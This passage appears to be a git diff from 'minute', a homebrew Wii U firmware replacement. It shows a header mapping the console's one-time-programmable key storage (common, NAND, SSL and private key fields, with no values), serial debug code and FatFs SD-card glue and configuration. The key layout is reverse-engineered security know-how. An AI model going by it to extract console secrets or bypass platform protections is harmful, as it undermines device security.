* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef __CRYPTO_H__
#define __CRYPTO_H__
#include "types.h"
typedef struct
{
// Bank 0 (Wii)
struct {
u8 wii_boot1_hash[20];
u8 wii_common_key[16];
u32 wii_ng_id;
union {
struct {
u8 wii_ng_priv[30];
u8 _wii_wtf1[18];
};
struct {
u8 _wii_wtf2[28];
u8 wii_nand_hmac[20];
};
};
u8 wii_nand_key[16];
u8 wii_rng_key[16];
u32 wii_unk1;
u32 wii_unk2; // 0x00000007
};
// Bank 1 (Wii U)
struct {
u32 security_level;
u32 iostrength_flag;
u32 seeprom_pulse;
u32 unk1;
u8 fw_ancast_key[16];
u8 seeprom_key[16];
u8 unk2[16];
u8 unk3[16];
u8 vwii_common_key[16];
u8 common_key[16];
u8 unk4[16];
};
// Bank 2 (Wii U)
struct {
u8 unk5[16];
u8 unk6[16];
u8 ssl_master_key[16];
u8 external_master_key[16];
u8 unk7[16];
u8 xor_key[16];
u8 rng_key[16];
u8 nand_key[16];
};
// Bank 3 (Wii U)
struct {
u8 emmc_key[16];
u8 dev_master_key[16];
u8 drh_key[16];
u8 unk8[48];
u8 nand_hmac[20];
u8 unk9[12];
};
// Bank 4 (Wii U)
struct {
u8 unk10[16];
union {
u8 external_seed_full[16];
struct {
u8 _wtf1[12];
u8 external_seed[4];
};
};
u8 vwii_ng_priv[32];
u8 unk11[32];
union {
u8 rng_seed_full[16];
struct {
u32 rng_seed;
u8 _wtf2[12];
};
};
u8 unk12[16];
};
// Bank 5 (Wii U)
struct {
u32 rootca_version;
u32 rootca_ms;
u32 unk13;
u8 rootca_signature[64];
u8 unk14[20];
u8 unk15[32];
};
// Bank 6 (Wii SEEPROM)
struct {
u8 wii_seeprom_certificate[96];
u8 wii_seeprom_signature[32];
};
// Bank 7 (Misc.)
struct {
u8 unk16[32];
u8 boot1_key[16];
u8 unk17[16];
u8 _empty1[32];
u8 unk18[16];
char ascii_tag[12];
u32 jtag_status;
};
} __attribute__((packed, aligned(4))) otp_t;
_Static_assert(sizeof(otp_t) == 0x400, "OTP size must be 0x400!");
extern otp_t otp;
void crypto_read_otp();
#endif

15
stage2/debug.c Normal file
View File

@ -0,0 +1,15 @@
#ifdef LOLSERIAL_DEBUG
extern void lolserial_lprint(char *str, int len);
void DEBUG(char *fmt, ...)
{
char str[256];
va_list va;
va_start(va, fmt);
vsnprintf(str, sizeof(str), fmt, va);
lolserial_lprint(str, sizeof(str));
va_end(va);
}
#endif /* LOLSERIAL_DEBUG */

27
stage2/debug.h Normal file
View File

@ -0,0 +1,27 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Haxx Enterprises <bushing@gmail.com>
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef __DEBUG_H__
#define __DEBUG_H__
#include "types.h"
#ifndef LOLSERIAL_DEBUG
static inline void DEBUG(char *fmt, ...) {}
#else
void DEBUG(char *fmt, ...);
#endif
#endif /* __DEBUG_H__ */

167
stage2/fatfs/diskio.c Normal file
View File

@ -0,0 +1,167 @@
/*-----------------------------------------------------------------------*/
/* Low level disk I/O module skeleton for FatFs (C)ChaN, 2014 */
/*-----------------------------------------------------------------------*/
/* If a working storage control module is available, it should be */
/* attached to the FatFs via a glue function rather than modifying it. */
/* This is an example of glue functions to attach various exsisting */
/* storage control modules to the FatFs module with a defined API. */
/*-----------------------------------------------------------------------*/
#include "diskio.h" /* FatFs lower layer API */
#include "ff.h"
#include <wctype.h>
#include "string.h"
#include "sdcard.h"
#include "sdhc.h"
#include "utils.h"
static u8 buffer[SDMMC_DEFAULT_BLOCKLEN * SDHC_BLOCK_COUNT_MAX] ALIGNED(32);
/*-----------------------------------------------------------------------*/
/* Get Disk Status */
/*-----------------------------------------------------------------------*/
DSTATUS disk_status (
BYTE pdrv /* Physical drive number to identify the drive */
)
{
(void)pdrv;
switch(sdcard_check_card()) {
case SDMMC_INSERTED:
return 0;
case SDMMC_NEW_CARD:
return STA_NOINIT;
default:
return STA_NODISK;
}
}
/*-----------------------------------------------------------------------*/
/* Initialize a Drive */
/*-----------------------------------------------------------------------*/
DSTATUS disk_initialize (
BYTE pdrv /* Physical drive number to identify the drive */
)
{
if (sdcard_check_card() == SDMMC_NO_CARD)
return STA_NODISK;
sdcard_ack_card();
return disk_status(pdrv);
}
/*-----------------------------------------------------------------------*/
/* Read Sector(s) */
/*-----------------------------------------------------------------------*/
DRESULT disk_read (
BYTE pdrv, /* Physical drive number to identify the drive */
BYTE *buff, /* Data buffer to store read data */
DWORD sector, /* Sector address in LBA */
UINT count /* Number of sectors to read */
)
{
(void)pdrv;
while(count) {
u32 work = min(count, SDHC_BLOCK_COUNT_MAX);
if(sdcard_read(sector, work, buffer) != 0)
return RES_ERROR;
memcpy(buff, buffer, work * SDMMC_DEFAULT_BLOCKLEN);
sector += work;
count -= work;
buff += work * SDMMC_DEFAULT_BLOCKLEN;
}
return RES_OK;
}
/*-----------------------------------------------------------------------*/
/* Write Sector(s) */
/*-----------------------------------------------------------------------*/
#if _USE_WRITE
DRESULT disk_write (
BYTE pdrv, /* Physical drive number to identify the drive */
const BYTE *buff, /* Data to be written */
DWORD sector, /* Sector address in LBA */
UINT count /* Number of sectors to write */
)
{
(void)pdrv;
while(count) {
u32 work = min(count, SDHC_BLOCK_COUNT_MAX);
memcpy(buffer, buff, work * SDMMC_DEFAULT_BLOCKLEN);
if(sdcard_write(sector, work, buffer) != 0)
return RES_ERROR;
sector += work;
count -= work;
buff += work * SDMMC_DEFAULT_BLOCKLEN;
}
return RES_OK;
}
#endif
/*-----------------------------------------------------------------------*/
/* Miscellaneous Functions */
/*-----------------------------------------------------------------------*/
#if _USE_IOCTL
DRESULT disk_ioctl (
BYTE pdrv, /* Physical drive number to identify the drive */
BYTE cmd, /* Control code */
void *buff /* Buffer to send/receive control data */
)
{
(void)pdrv;
if (cmd == CTRL_SYNC)
return RES_OK;
if (cmd == GET_SECTOR_SIZE) {
*(u32*)buff = SDMMC_DEFAULT_BLOCKLEN;
return RES_OK;
}
if (cmd == GET_BLOCK_SIZE) {
*(u32*)buff = 1;
return RES_OK;
}
if (cmd == GET_SECTOR_COUNT) {
int sectors = sdcard_get_sectors();
if(sectors < 0) return RES_ERROR;
*(u32*)buff = sectors;
return RES_OK;
}
return RES_PARERR;
}
#endif
DWORD get_fattime()
{
// NO
return 0;
}
#include "option/unicode.c"

79
stage2/fatfs/diskio.h Normal file
View File

@ -0,0 +1,79 @@
/*-----------------------------------------------------------------------/
/ Low level disk interface modlue include file (C)ChaN, 2014 /
/-----------------------------------------------------------------------*/
#ifndef _DISKIO_DEFINED
#define _DISKIO_DEFINED
#ifdef __cplusplus
extern "C" {
#endif
#define _USE_WRITE 1 /* 1: Enable disk_write function */
#define _USE_IOCTL 1 /* 1: Enable disk_ioctl fucntion */
#include "integer.h"
/* Status of Disk Functions */
typedef BYTE DSTATUS;
/* Results of Disk Functions */
typedef enum {
RES_OK = 0, /* 0: Successful */
RES_ERROR, /* 1: R/W Error */
RES_WRPRT, /* 2: Write Protected */
RES_NOTRDY, /* 3: Not Ready */
RES_PARERR /* 4: Invalid Parameter */
} DRESULT;
/*---------------------------------------*/
/* Prototypes for disk control functions */
DSTATUS disk_initialize (BYTE pdrv);
DSTATUS disk_status (BYTE pdrv);
DRESULT disk_read (BYTE pdrv, BYTE* buff, DWORD sector, UINT count);
DRESULT disk_write (BYTE pdrv, const BYTE* buff, DWORD sector, UINT count);
DRESULT disk_ioctl (BYTE pdrv, BYTE cmd, void* buff);
/* Disk Status Bits (DSTATUS) */
#define STA_NOINIT 0x01 /* Drive not initialized */
#define STA_NODISK 0x02 /* No medium in the drive */
#define STA_PROTECT 0x04 /* Write protected */
/* Command code for disk_ioctrl fucntion */
/* Generic command (Used by FatFs) */
#define CTRL_SYNC 0 /* Complete pending write process (needed at _FS_READONLY == 0) */
#define GET_SECTOR_COUNT 1 /* Get media size (needed at _USE_MKFS == 1) */
#define GET_SECTOR_SIZE 2 /* Get sector size (needed at _MAX_SS != _MIN_SS) */
#define GET_BLOCK_SIZE 3 /* Get erase block size (needed at _USE_MKFS == 1) */
#define CTRL_TRIM 4 /* Inform device that the data on the block of sectors is no longer used (needed at _USE_TRIM == 1) */
/* Generic command (Not used by FatFs) */
#define CTRL_POWER 5 /* Get/Set power status */
#define CTRL_LOCK 6 /* Lock/Unlock media removal */
#define CTRL_EJECT 7 /* Eject media */
#define CTRL_FORMAT 8 /* Create physical format on the media */
/* MMC/SDC specific ioctl command */
#define MMC_GET_TYPE 10 /* Get card type */
#define MMC_GET_CSD 11 /* Get CSD */
#define MMC_GET_CID 12 /* Get CID */
#define MMC_GET_OCR 13 /* Get OCR */
#define MMC_GET_SDSTAT 14 /* Get SD status */
/* ATA/CF specific ioctl command */
#define ATA_GET_REV 20 /* Get F/W revision */
#define ATA_GET_MODEL 21 /* Get model name */
#define ATA_GET_SN 22 /* Get serial number */
#ifdef __cplusplus
}
#endif
#endif

4683
stage2/fatfs/ff.c Normal file

File diff suppressed because it is too large Load Diff

350
stage2/fatfs/ff.h Normal file
View File

@ -0,0 +1,350 @@
/*---------------------------------------------------------------------------/
/ FatFs - FAT file system module include R0.11a (C)ChaN, 2015
/----------------------------------------------------------------------------/
/ FatFs module is a free software that opened under license policy of
/ following conditions.
/
/ Copyright (C) 2015, ChaN, all right reserved.
/
/ 1. Redistributions of source code must retain the above copyright notice,
/ this condition and the following disclaimer.
/
/ This software is provided by the copyright holder and contributors "AS IS"
/ and any warranties related to this software are DISCLAIMED.
/ The copyright owner or contributors be NOT LIABLE for any damages caused
/ by use of this software.
/---------------------------------------------------------------------------*/
#ifndef _FATFS
#define _FATFS 64180 /* Revision ID */
#ifdef __cplusplus
extern "C" {
#endif
#include "integer.h" /* Basic integer types */
#include "ffconf.h" /* FatFs configuration options */
#if _FATFS != _FFCONF
#error Wrong configuration file (ffconf.h).
#endif
/* Definitions of volume management */
#if _MULTI_PARTITION /* Multiple partition configuration */
typedef struct {
BYTE pd; /* Physical drive number */
BYTE pt; /* Partition: 0:Auto detect, 1-4:Forced partition) */
} PARTITION;
extern PARTITION VolToPart[]; /* Volume - Partition resolution table */
#define LD2PD(vol) (VolToPart[vol].pd) /* Get physical drive number */
#define LD2PT(vol) (VolToPart[vol].pt) /* Get partition index */
#else /* Single partition configuration */
#define LD2PD(vol) (BYTE)(vol) /* Each logical drive is bound to the same physical drive number */
#define LD2PT(vol) 0 /* Find first valid partition or in SFD */
#endif
/* Type of path name strings on FatFs API */
#if _LFN_UNICODE /* Unicode string */
#if !_USE_LFN
#error _LFN_UNICODE must be 0 at non-LFN cfg.
#endif
#ifndef _INC_TCHAR
typedef WCHAR TCHAR;
#define _T(x) L ## x
#define _TEXT(x) L ## x
#endif
#else /* ANSI/OEM string */
#ifndef _INC_TCHAR
typedef char TCHAR;
#define _T(x) x
#define _TEXT(x) x
#endif
#endif
/* File system object structure (FATFS) */
typedef struct {
BYTE fs_type; /* FAT sub-type (0:Not mounted) */
BYTE drv; /* Physical drive number */
BYTE csize; /* Sectors per cluster (1,2,4...128) */
BYTE n_fats; /* Number of FAT copies (1 or 2) */
BYTE wflag; /* win[] flag (b0:dirty) */
BYTE fsi_flag; /* FSINFO flags (b7:disabled, b0:dirty) */
WORD id; /* File system mount ID */
WORD n_rootdir; /* Number of root directory entries (FAT12/16) */
#if _MAX_SS != _MIN_SS
WORD ssize; /* Bytes per sector (512, 1024, 2048 or 4096) */
#endif
#if _FS_REENTRANT
_SYNC_t sobj; /* Identifier of sync object */
#endif
#if !_FS_READONLY
DWORD last_clust; /* Last allocated cluster */
DWORD free_clust; /* Number of free clusters */
#endif
#if _FS_RPATH
DWORD cdir; /* Current directory start cluster (0:root) */
#endif
DWORD n_fatent; /* Number of FAT entries, = number of clusters + 2 */
DWORD fsize; /* Sectors per FAT */
DWORD volbase; /* Volume start sector */
DWORD fatbase; /* FAT start sector */
DWORD dirbase; /* Root directory start sector (FAT32:Cluster#) */
DWORD database; /* Data start sector */
DWORD winsect; /* Current sector appearing in the win[] */
BYTE win[_MAX_SS]; /* Disk access window for Directory, FAT (and file data at tiny cfg) */
} FATFS;
/* File object structure (FIL) */
typedef struct {
FATFS* fs; /* Pointer to the related file system object (**do not change order**) */
WORD id; /* Owner file system mount ID (**do not change order**) */
BYTE flag; /* Status flags */
BYTE err; /* Abort flag (error code) */
DWORD fptr; /* File read/write pointer (Zeroed on file open) */
DWORD fsize; /* File size */
DWORD sclust; /* File start cluster (0:no cluster chain, always 0 when fsize is 0) */
DWORD clust; /* Current cluster of fpter (not valid when fprt is 0) */
DWORD dsect; /* Sector number appearing in buf[] (0:invalid) */
#if !_FS_READONLY
DWORD dir_sect; /* Sector number containing the directory entry */
BYTE* dir_ptr; /* Pointer to the directory entry in the win[] */
#endif
#if _USE_FASTSEEK
DWORD* cltbl; /* Pointer to the cluster link map table (Nulled on file open) */
#endif
#if _FS_LOCK
UINT lockid; /* File lock ID origin from 1 (index of file semaphore table Files[]) */
#endif
#if !_FS_TINY
BYTE buf[_MAX_SS]; /* File private data read/write window */
#endif
} FIL;
/* Directory object structure (FDIR) */
typedef struct {
FATFS* fs; /* Pointer to the owner file system object (**do not change order**) */
WORD id; /* Owner file system mount ID (**do not change order**) */
WORD index; /* Current read/write index number */
DWORD sclust; /* Table start cluster (0:Root dir) */
DWORD clust; /* Current cluster */
DWORD sect; /* Current sector */
BYTE* dir; /* Pointer to the current SFN entry in the win[] */
BYTE* fn; /* Pointer to the SFN (in/out) {file[8],ext[3],status[1]} */
#if _FS_LOCK
UINT lockid; /* File lock ID (index of file semaphore table Files[]) */
#endif
#if _USE_LFN
WCHAR* lfn; /* Pointer to the LFN working buffer */
WORD lfn_idx; /* Last matched LFN index number (0xFFFF:No LFN) */
#endif
#if _USE_FIND
const TCHAR* pat; /* Pointer to the name matching pattern */
#endif
} FDIR;
/* File information structure (FILINFO) */
typedef struct {
DWORD fsize; /* File size */
WORD fdate; /* Last modified date */
WORD ftime; /* Last modified time */
BYTE fattrib; /* Attribute */
TCHAR fname[13]; /* Short file name (8.3 format) */
#if _USE_LFN
TCHAR* lfname; /* Pointer to the LFN buffer */
UINT lfsize; /* Size of LFN buffer in TCHAR */
#endif
} FILINFO;
/* File function return code (FRESULT) */
typedef enum {
FR_OK = 0, /* (0) Succeeded */
FR_DISK_ERR, /* (1) A hard error occurred in the low level disk I/O layer */
FR_INT_ERR, /* (2) Assertion failed */
FR_NOT_READY, /* (3) The physical drive cannot work */
FR_NO_FILE, /* (4) Could not find the file */
FR_NO_PATH, /* (5) Could not find the path */
FR_INVALID_NAME, /* (6) The path name format is invalid */
FR_DENIED, /* (7) Access denied due to prohibited access or directory full */
FR_EXIST, /* (8) Access denied due to prohibited access */
FR_INVALID_OBJECT, /* (9) The file/directory object is invalid */
FR_WRITE_PROTECTED, /* (10) The physical drive is write protected */
FR_INVALID_DRIVE, /* (11) The logical drive number is invalid */
FR_NOT_ENABLED, /* (12) The volume has no work area */
FR_NO_FILESYSTEM, /* (13) There is no valid FAT volume */
FR_MKFS_ABORTED, /* (14) The f_mkfs() aborted due to any parameter error */
FR_TIMEOUT, /* (15) Could not get a grant to access the volume within defined period */
FR_LOCKED, /* (16) The operation is rejected according to the file sharing policy */
FR_NOT_ENOUGH_CORE, /* (17) LFN working buffer could not be allocated */
FR_TOO_MANY_OPEN_FILES, /* (18) Number of open files > _FS_LOCK */
FR_INVALID_PARAMETER /* (19) Given parameter is invalid */
} FRESULT;
/*--------------------------------------------------------------*/
/* FatFs module application interface */
FRESULT f_open (FIL* fp, const TCHAR* path, BYTE mode); /* Open or create a file */
FRESULT f_close (FIL* fp); /* Close an open file object */
FRESULT f_read (FIL* fp, void* buff, UINT btr, UINT* br); /* Read data from a file */
FRESULT f_write (FIL* fp, const void* buff, UINT btw, UINT* bw); /* Write data to a file */
FRESULT f_forward (FIL* fp, UINT(*func)(const BYTE*,UINT), UINT btf, UINT* bf); /* Forward data to the stream */
FRESULT f_lseek (FIL* fp, DWORD ofs); /* Move file pointer of a file object */
FRESULT f_truncate (FIL* fp); /* Truncate file */
FRESULT f_sync (FIL* fp); /* Flush cached data of a writing file */
FRESULT f_opendir (FDIR* dp, const TCHAR* path); /* Open a directory */
FRESULT f_closedir (FDIR* dp); /* Close an open directory */
FRESULT f_readdir (FDIR* dp, FILINFO* fno); /* Read a directory item */
FRESULT f_findfirst (FDIR* dp, FILINFO* fno, const TCHAR* path, const TCHAR* pattern); /* Find first file */
FRESULT f_findnext (FDIR* dp, FILINFO* fno); /* Find next file */
FRESULT f_mkdir (const TCHAR* path); /* Create a sub directory */
FRESULT f_unlink (const TCHAR* path); /* Delete an existing file or directory */
FRESULT f_rename (const TCHAR* path_old, const TCHAR* path_new); /* Rename/Move a file or directory */
FRESULT f_stat (const TCHAR* path, FILINFO* fno); /* Get file status */
FRESULT f_chmod (const TCHAR* path, BYTE attr, BYTE mask); /* Change attribute of the file/dir */
FRESULT f_utime (const TCHAR* path, const FILINFO* fno); /* Change times-tamp of the file/dir */
FRESULT f_chdir (const TCHAR* path); /* Change current directory */
FRESULT f_chdrive (const TCHAR* path); /* Change current drive */
FRESULT f_getcwd (TCHAR* buff, UINT len); /* Get current directory */
FRESULT f_getfree (const TCHAR* path, DWORD* nclst, FATFS** fatfs); /* Get number of free clusters on the drive */
FRESULT f_getlabel (const TCHAR* path, TCHAR* label, DWORD* vsn); /* Get volume label */
FRESULT f_setlabel (const TCHAR* label); /* Set volume label */
FRESULT f_mount (FATFS* fs, const TCHAR* path, BYTE opt); /* Mount/Unmount a logical drive */
FRESULT f_mkfs (const TCHAR* path, BYTE sfd, UINT au, UINT start, UINT end); /* Create a file system on the volume */
FRESULT f_fdisk (BYTE pdrv, const DWORD szt[], void* work); /* Divide a physical drive into some partitions */
int f_putc (TCHAR c, FIL* fp); /* Put a character to the file */
int f_puts (const TCHAR* str, FIL* cp); /* Put a string to the file */
int f_printf (FIL* fp, const TCHAR* str, ...); /* Put a formatted string to the file */
TCHAR* f_gets (TCHAR* buff, int len, FIL* fp); /* Get a string from the file */
#define f_eof(fp) ((int)((fp)->fptr == (fp)->fsize))
#define f_error(fp) ((fp)->err)
#define f_tell(fp) ((fp)->fptr)
#define f_size(fp) ((fp)->fsize)
#define f_rewind(fp) f_lseek((fp), 0)
#define f_rewinddir(dp) f_readdir((dp), 0)
#ifndef EOF
#define EOF (-1)
#endif
/*--------------------------------------------------------------*/
/* Additional user defined functions */
/* RTC function */
#if !_FS_READONLY && !_FS_NORTC
DWORD get_fattime (void);
#endif
/* Unicode support functions */
#if _USE_LFN /* Unicode - OEM code conversion */
WCHAR ff_convert (WCHAR chr, UINT dir); /* OEM-Unicode bidirectional conversion */
WCHAR ff_wtoupper (WCHAR chr); /* Unicode upper-case conversion */
#if _USE_LFN == 3 /* Memory functions */
void* ff_memalloc (UINT msize); /* Allocate memory block */
void ff_memfree (void* mblock); /* Free memory block */
#endif
#endif
/* Sync functions */
#if _FS_REENTRANT
int ff_cre_syncobj (BYTE vol, _SYNC_t* sobj); /* Create a sync object */
int ff_req_grant (_SYNC_t sobj); /* Lock sync object */
void ff_rel_grant (_SYNC_t sobj); /* Unlock sync object */
int ff_del_syncobj (_SYNC_t sobj); /* Delete a sync object */
#endif
/*--------------------------------------------------------------*/
/* Flags and offset address */
/* File access control and file status flags (FIL.flag) */
#define FA_READ 0x01
#define FA_OPEN_EXISTING 0x00
#if !_FS_READONLY
#define FA_WRITE 0x02
#define FA_CREATE_NEW 0x04
#define FA_CREATE_ALWAYS 0x08
#define FA_OPEN_ALWAYS 0x10
#define FA__WRITTEN 0x20
#define FA__DIRTY 0x40
#endif
/* FAT sub type (FATFS.fs_type) */
#define FS_FAT12 1
#define FS_FAT16 2
#define FS_FAT32 3
/* File attribute bits for directory entry */
#define AM_RDO 0x01 /* Read only */
#define AM_HID 0x02 /* Hidden */
#define AM_SYS 0x04 /* System */
#define AM_VOL 0x08 /* Volume label */
#define AM_LFN 0x0F /* LFN entry */
#define AM_DIR 0x10 /* Directory */
#define AM_ARC 0x20 /* Archive */
#define AM_MASK 0x3F /* Mask of defined bits */
/* Fast seek feature */
#define CREATE_LINKMAP 0xFFFFFFFF
/*--------------------------------*/
/* Multi-byte word access macros */
#if _WORD_ACCESS == 1 /* Enable word access to the FAT structure */
#define LD_WORD(ptr) (WORD)(*(WORD*)(BYTE*)(ptr))
#define LD_DWORD(ptr) (DWORD)(*(DWORD*)(BYTE*)(ptr))
#define ST_WORD(ptr,val) *(WORD*)(BYTE*)(ptr)=(WORD)(val)
#define ST_DWORD(ptr,val) *(DWORD*)(BYTE*)(ptr)=(DWORD)(val)
#else /* Use byte-by-byte access to the FAT structure */
#define LD_WORD(ptr) (WORD)(((WORD)*((BYTE*)(ptr)+1)<<8)|(WORD)*(BYTE*)(ptr))
#define LD_DWORD(ptr) (DWORD)(((DWORD)*((BYTE*)(ptr)+3)<<24)|((DWORD)*((BYTE*)(ptr)+2)<<16)|((WORD)*((BYTE*)(ptr)+1)<<8)|*(BYTE*)(ptr))
#define ST_WORD(ptr,val) *(BYTE*)(ptr)=(BYTE)(val); *((BYTE*)(ptr)+1)=(BYTE)((WORD)(val)>>8)
#define ST_DWORD(ptr,val) *(BYTE*)(ptr)=(BYTE)(val); *((BYTE*)(ptr)+1)=(BYTE)((WORD)(val)>>8); *((BYTE*)(ptr)+2)=(BYTE)((DWORD)(val)>>16); *((BYTE*)(ptr)+3)=(BYTE)((DWORD)(val)>>24)
#endif
#ifdef __cplusplus
}
#endif
#endif /* _FATFS */

276
stage2/fatfs/ffconf.h Normal file
View File

@ -0,0 +1,276 @@
/*---------------------------------------------------------------------------/
/ FatFs - FAT file system module configuration file R0.11a (C)ChaN, 2015
/---------------------------------------------------------------------------*/
#define _FFCONF 64180 /* Revision ID */
/*---------------------------------------------------------------------------/
/ Function Configurations
/---------------------------------------------------------------------------*/
#define _FS_READONLY 1
/* This option switches read-only configuration. (0:Read/Write or 1:Read-only)
/ Read-only configuration removes writing API functions, f_write(), f_sync(),
/ f_unlink(), f_mkdir(), f_chmod(), f_rename(), f_truncate(), f_getfree()
/ and optional writing functions as well. */
#define _FS_MINIMIZE 2
/* This option defines minimization level to remove some basic API functions.
/
/ 0: All basic functions are enabled.
/ 1: f_stat(), f_getfree(), f_unlink(), f_mkdir(), f_chmod(), f_utime(),
/ f_truncate() and f_rename() function are removed.
/ 2: f_opendir(), f_readdir() and f_closedir() are removed in addition to 1.
/ 3: f_lseek() function is removed in addition to 2. */
#define _USE_STRFUNC 1
/* This option switches string functions, f_gets(), f_putc(), f_puts() and
/ f_printf().
/
/ 0: Disable string functions.
/ 1: Enable without LF-CRLF conversion.
/ 2: Enable with LF-CRLF conversion. */
#define _USE_FIND 1
/* This option switches filtered directory read feature and related functions,
/ f_findfirst() and f_findnext(). (0:Disable or 1:Enable) */
#define _USE_MKFS 0
/* This option switches f_mkfs() function. (0:Disable or 1:Enable) */
#define _USE_FASTSEEK 1
/* This option switches fast seek feature. (0:Disable or 1:Enable) */
#define _USE_LABEL 0
/* This option switches volume label functions, f_getlabel() and f_setlabel().
/ (0:Disable or 1:Enable) */
#define _USE_FORWARD 0
/* This option switches f_forward() function. (0:Disable or 1:Enable)
/ To enable it, also _FS_TINY need to be set to 1. */
/*---------------------------------------------------------------------------/
/ Locale and Namespace Configurations
/---------------------------------------------------------------------------*/
#define _CODE_PAGE 932
/* This option specifies the OEM code page to be used on the target system.
/ Incorrect setting of the code page can cause a file open failure.
/
/ 1 - ASCII (No extended character. Non-LFN cfg. only)
/ 437 - U.S.
/ 720 - Arabic
/ 737 - Greek
/ 771 - KBL
/ 775 - Baltic
/ 850 - Latin 1
/ 852 - Latin 2
/ 855 - Cyrillic
/ 857 - Turkish
/ 860 - Portuguese
/ 861 - Icelandic
/ 862 - Hebrew
/ 863 - Canadian French
/ 864 - Arabic
/ 865 - Nordic
/ 866 - Russian
/ 869 - Greek 2
/ 932 - Japanese (DBCS)
/ 936 - Simplified Chinese (DBCS)
/ 949 - Korean (DBCS)
/ 950 - Traditional Chinese (DBCS)
*/
#define _USE_LFN 1
#define _MAX_LFN 255
/* The _USE_LFN option switches the LFN feature.
/
/ 0: Disable LFN feature. _MAX_LFN has no effect.
/ 1: Enable LFN with static working buffer on the BSS. Always NOT thread-safe.
/ 2: Enable LFN with dynamic working buffer on the STACK.
/ 3: Enable LFN with dynamic working buffer on the HEAP.
/
/ When enable the LFN feature, Unicode handling functions (option/unicode.c) must
/ be added to the project. The LFN working buffer occupies (_MAX_LFN + 1) * 2 bytes.
/ When use stack for the working buffer, take care on stack overflow. When use heap
/ memory for the working buffer, memory management functions, ff_memalloc() and
/ ff_memfree(), must be added to the project. */
#define _LFN_UNICODE 0
/* This option switches character encoding on the API. (0:ANSI/OEM or 1:Unicode)
/ To use Unicode string for the path name, enable LFN feature and set _LFN_UNICODE
/ to 1. This option also affects behavior of string I/O functions. */
#define _STRF_ENCODE 0
/* When _LFN_UNICODE is 1, this option selects the character encoding on the file to
/ be read/written via string I/O functions, f_gets(), f_putc(), f_puts and f_printf().
/
/ 0: ANSI/OEM
/ 1: UTF-16LE
/ 2: UTF-16BE
/ 3: UTF-8
/
/ When _LFN_UNICODE is 0, this option has no effect. */
#define _FS_RPATH 0
/* This option configures relative path feature.
/
/ 0: Disable relative path feature and remove related functions.
/ 1: Enable relative path feature. f_chdir() and f_chdrive() are available.
/ 2: f_getcwd() function is available in addition to 1.
/
/ Note that directory items read via f_readdir() are affected by this option. */
/*---------------------------------------------------------------------------/
/ Drive/Volume Configurations
/---------------------------------------------------------------------------*/
#define _VOLUMES 1
/* Number of volumes (logical drives) to be used. */
#define _STR_VOLUME_ID 1
#define _VOLUME_STRS "SDMC"
/* _STR_VOLUME_ID option switches string volume ID feature.
/ When _STR_VOLUME_ID is set to 1, also pre-defined strings can be used as drive
/ number in the path name. _VOLUME_STRS defines the drive ID strings for each
/ logical drives. Number of items must be equal to _VOLUMES. Valid characters for
/ the drive ID strings are: A-Z and 0-9. */
#define _MULTI_PARTITION 0
/* This option switches multi-partition feature. By default (0), each logical drive
/ number is bound to the same physical drive number and only an FAT volume found on
/ the physical drive will be mounted. When multi-partition feature is enabled (1),
/ each logical drive number is bound to arbitrary physical drive and partition
/ listed in the VolToPart[]. Also f_fdisk() funciton will be available. */
#define _MIN_SS 512
#define _MAX_SS 512
/* These options configure the range of sector size to be supported. (512, 1024,
/ 2048 or 4096) Always set both 512 for most systems, all type of memory cards and
/ harddisk. But a larger value may be required for on-board flash memory and some
/ type of optical media. When _MAX_SS is larger than _MIN_SS, FatFs is configured
/ to variable sector size and GET_SECTOR_SIZE command must be implemented to the
/ disk_ioctl() function. */
#define _USE_TRIM 0
/* This option switches ATA-TRIM feature. (0:Disable or 1:Enable)
/ To enable Trim feature, also CTRL_TRIM command should be implemented to the
/ disk_ioctl() function. */
#define _FS_NOFSINFO 0
/* If you need to know correct free space on the FAT32 volume, set bit 0 of this
/ option, and f_getfree() function at first time after volume mount will force
/ a full FAT scan. Bit 1 controls the use of last allocated cluster number.
/
/ bit0=0: Use free cluster count in the FSINFO if available.
/ bit0=1: Do not trust free cluster count in the FSINFO.
/ bit1=0: Use last allocated cluster number in the FSINFO if available.
/ bit1=1: Do not trust last allocated cluster number in the FSINFO.
*/
/*---------------------------------------------------------------------------/
/ System Configurations
/---------------------------------------------------------------------------*/
#define _FS_TINY 0
/* This option switches tiny buffer configuration. (0:Normal or 1:Tiny)
/ At the tiny configuration, size of the file object (FIL) is reduced _MAX_SS
/ bytes. Instead of private sector buffer eliminated from the file object,
/ common sector buffer in the file system object (FATFS) is used for the file
/ data transfer. */
#define _FS_NORTC 1
#define _NORTC_MON 1
#define _NORTC_MDAY 1
#define _NORTC_YEAR 2015
/* The _FS_NORTC option switches timestamp feature. If the system does not have
/ an RTC function or valid timestamp is not needed, set _FS_NORTC to 1 to disable
/ the timestamp feature. All objects modified by FatFs will have a fixed timestamp
/ defined by _NORTC_MON, _NORTC_MDAY and _NORTC_YEAR.
/ When timestamp feature is enabled (_FS_NORTC == 0), get_fattime() function need
/ to be added to the project to read current time form RTC. _NORTC_MON,
/ _NORTC_MDAY and _NORTC_YEAR have no effect.
/ These options have no effect at read-only configuration (_FS_READONLY == 1). */
#define _FS_LOCK 0
/* The _FS_LOCK option switches file lock feature to control duplicated file open
/ and illegal operation to open objects. This option must be 0 when _FS_READONLY
/ is 1.
/
/ 0: Disable file lock feature. To avoid volume corruption, application program
/ should avoid illegal open, remove and rename to the open objects.
/ >0: Enable file lock feature. The value defines how many files/sub-directories
/ can be opened simultaneously under file lock control. Note that the file
/ lock feature is independent of re-entrancy. */
#define _FS_REENTRANT 0
#define _FS_TIMEOUT 1000
#define _SYNC_t HANDLE
/* The _FS_REENTRANT option switches the re-entrancy (thread safe) of the FatFs
/ module itself. Note that regardless of this option, file access to different
/ volume is always re-entrant and volume control functions, f_mount(), f_mkfs()
/ and f_fdisk() function, are always not re-entrant. Only file/directory access
/ to the same volume is under control of this feature.
/
/ 0: Disable re-entrancy. _FS_TIMEOUT and _SYNC_t have no effect.
/ 1: Enable re-entrancy. Also user provided synchronization handlers,
